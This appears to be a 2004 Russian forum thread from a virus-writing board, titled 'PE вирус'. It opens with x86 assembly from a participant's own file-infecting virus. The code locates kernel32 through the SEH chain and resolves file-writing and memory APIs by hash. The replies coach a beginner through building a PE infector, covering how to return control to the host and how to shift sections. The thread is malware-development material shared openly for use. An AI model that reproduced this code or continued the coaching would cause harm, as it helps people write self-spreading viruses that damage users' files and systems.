· Начало · Отвђтить · Статистика · Поиск · FAQ · Правила · Установки · Язык · Выход · WASM.RU · Noir.Ru ·

 WASM Phorum —› WASM.VIROLOGY —› PE вирус

<< . 1 . 2 . 3 . 4 . 5 . 6 . 7 . 8 . 9 . >>

Посл.отвђт Сообщенiе


Дата: Июл 4, 2004 09:41:30

Ну ОК. Порылся у себя в хламе и выкопал нижеследующее:
vx_start:
    call    get_delta
get_delta:
    sub     dword [esp],get_delta                               ; delta offset in [esp]

; ---------------------------------------------------------------------- --------
; --- Find Kernel32 image base ---
; ---------------------------------------------------------------------- --------
    xor     edx,edx
    mov     eax,[fs:edx]
    dec     edx
  @@:                                                           ; search SEH in Kernel32
    cmp     [eax],edx
    je      @F
    mov     eax,dword [eax]
    jmp     @B
  @@:                                                           ; get address of function
    mov     eax,[eax+4]
    xor     ax,ax
  @@:                                                           ; search for 'MZ'
    cmp     word [eax],'MZ'
    je      @F
    sub     eax,10000h               ; 64K back
    jmp     @B
  @@:                                                           ; search for 'PE'
    mov     edx,[eax+3Ch]
    cmp     word [eax+edx],'PE'
    je      search_APIs              ; it's NOT PE-module
    jmp     vx_ret
; --- Kernel32 image base in EAX ---

; ---------------------------------------------------------------------- --------
; --- Search addresses of necessary API functions ---
; ---------------------------------------------------------------------- --------

CreateFileA equ dword [ebp-1*4]
GetFileSize equ dword [ebp-2*4]
ReadFile equ dword [ebp-3*4]
SetFilePointer equ dword [ebp-4*4]
WriteFile equ dword [ebp-5*4]
CloseHandle equ dword [ebp-6*4]
GlobalAlloc equ dword [ebp-7*4]
GlobalReAlloc equ dword [ebp-8*4]
GlobalFree equ dword [ebp-9*4]

stack equ ebp-9*4              ; stack pointer
delta equ dword [ebp+5*4]

; ---------------------------------------------------------------------- --------

KernelHashTable:                                                ; Hash table for Kernel32 functions
    CreateFileA_        dd                  860B38BCh
    GetFileSize_        dd                  0AAC2523Eh
    ReadFile_           dd                  29C4EF46h
    SetFilePointer_     dd                  7F3545C6h
    WriteFile_          dd                  0F67B91BAh
    CloseHandle_        dd                  0F867A91Eh
    GlobalAlloc_        dd                  0CC17506Ch
    GlobalReAlloc_      dd                  0A2CAEB1Ah
    GlobalFree_         dd                  3FE8FED4h
                        dw                  0FFFFh              ; End of KernelHashTable
; ---------------------------------------------------------------------- --------

search_APIs:
    mov     esi,[eax+edx+78h]  ; export table RVA
    add     esi,eax            ; export table VA
    add     esi,18h
    xchg    eax,ebx            ; save kernel32 image base in EBX
    lodsd
    push    eax                ; number of Name Pointers
    lodsd
    push    eax                ; Address Table RVA
    lodsd
    push    eax                ; Name Pointers RVA
    add     eax,ebx
    push    eax                ; Index
    lodsd
    push    eax                ; Ordinal Table RVA
    mov     ebp,esp
    mov     edi,delta
    lea     edi,[edi+KernelHashTable]

begin_search:
    mov     ecx,[ebp+4*4]      ; get number of Name Pointers
    xor     edx,edx
search_API_name:
    mov     esi,[ebp+1*4]
    mov     esi,[esi]
    add     esi,ebx

    ; --- Getting hash-value for API function name ---
    xor     eax,eax
    push    eax
  @@:
    ror     eax,7
    xor     [esp],eax
    lodsb
    test    al,al
    jnz     @B
    pop     eax                ; get hash value in EAX
    ; --- 
    cmp     eax,dword [edi]
    je      ok_api
    add     dword [ebp+1*4],4  ; increase index
    inc     edx
    loop    search_API_name
    jmp     vx_ret

ok_api:
    shl     edx,1
    mov     ecx,[ebp]          ; get Ordinal Table RVA
    add     ecx,ebx
    add     ecx,edx
    mov     ecx,[ecx]
    and     ecx,0FFFFh
    mov     edx,[ebp+3*4]      ; get Address Table RVA
    add     edx,ebx
    shl     ecx,2
    add     edx,ecx
    mov     edx,[edx]
    add     edx,ebx
    push    edx                ; save api address in stack
    cmp     word [edi+4],0FFFFh
    je      ok
    add     edi,4

    ; --- search next api function
    mov     ecx,[ebp+2*4]      ; get Name Pointers RVA
    add     ecx,ebx
    mov     [ebp+1*4],ecx      ; set new Index
    jmp     begin_search
; ------------------------------------------------------------------------------
ok:

Код, конечно, не ахти, но для начала пойдет. Медитируй.


Дата: Июл 5, 2004 11:27:56

Попробую


Дата: Июл 5, 2004 17:39:50

не получается :(


Дата: Июл 5, 2004 21:23:57

Ну так я не говорю, что это будет работать! Это просто кусок кода из более-менее рабочего виря. (Вирь не работает, потому что у меня времени на него нет, а вот апишки ищутся стабильно). Код я привел для медитации. В свое время сам также разбирался, так ведь разобрался же!


Дата: Июл 6, 2004 10:34:06

блин, а что у меня то не выходит :(((


Дата: Июл 17, 2004 13:34:28

2 Wasm - когда на сайте можно ожидать появления материалов с kpnc.opennet? Понятно что скачать можно - но материал вроде всем интересен - да может и автор немного его систематизирует по этому поводу :). Да и еще по поводу Криса как очень плодовитого автора - предлагаю папочку сделать и туда старые статьи положить (всем будет интересно) и самое главное расписание появления новых (с коментами автора - типа упс пишу статью такую - выход книги такойто откладывается или наоборот) - мне бы очень интересно было когда какие труды выходят и где - потому как переиздания книг, новые тома серий кодокопателя, защита CD теперь вот еще статьи новые... Все так вкусно а когда не ведомо :)


Дата: Июл 17, 2004 17:06:20

to Xornet

1. ты не туда залез... с такими вопросами..
2. "клубы" любителей Криса Касперски находятся в других местах.. :)) погугли.. ;-)


Дата: Июл 21, 2004 07:04:00

вы лучше бы мне дураку помогли


Дата: Июл 22, 2004 11:52:34

Дык мы пытаемся.. Вобще, для начала хорошо бы почитать статьи z0mbie, SBVC и т.д.. Там ведь все это есть и суть технологии проста до тупости.


Дата: Июл 23, 2004 07:30:18

Скажи хотя бы названия статей


Дата: Июл 23, 2004 13:15:50

К сожалению, названий у меня нет - все лежит одной большой кучей. Насколько я помню, у SBVC (они еще живы вобще?) статьи назывались весьма удобно. Типа: "Поиск базы кернела" или "Поиск адресов АПИ". Надо просто зайти к ним на сайт и залезть в раздел статей.


Дата: Июл 24, 2004 07:49:06

так а я незнаю их сайта :(. Ладно хотябы объяснити что делает конкретный код по порядку, please.


Дата: Июл 24, 2004 13:41:45

Наконец то, свершилось!!! Я сделал этот долбаный поиск АПИ, но теперь проблема - как запустить прежнюю программу


Дата: Июл 25, 2004 06:34:21

Блин, я и это сделал, но теперь другая проблема. Если я буду сдвигать все секции вперёд, а в начало запишу свою проблем не будет? И ещё как обращаться к глобальным переменным?


Дата: Авг 1, 2004 07:08:47

К глобальным переменным я уже нашёл подступ :)). А вот секции сдвигать не буду... много гемора:((

<< . 1 . 2 . 3 . 4 . 5 . 6 . 7 . 8 . 9 . >>


Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.061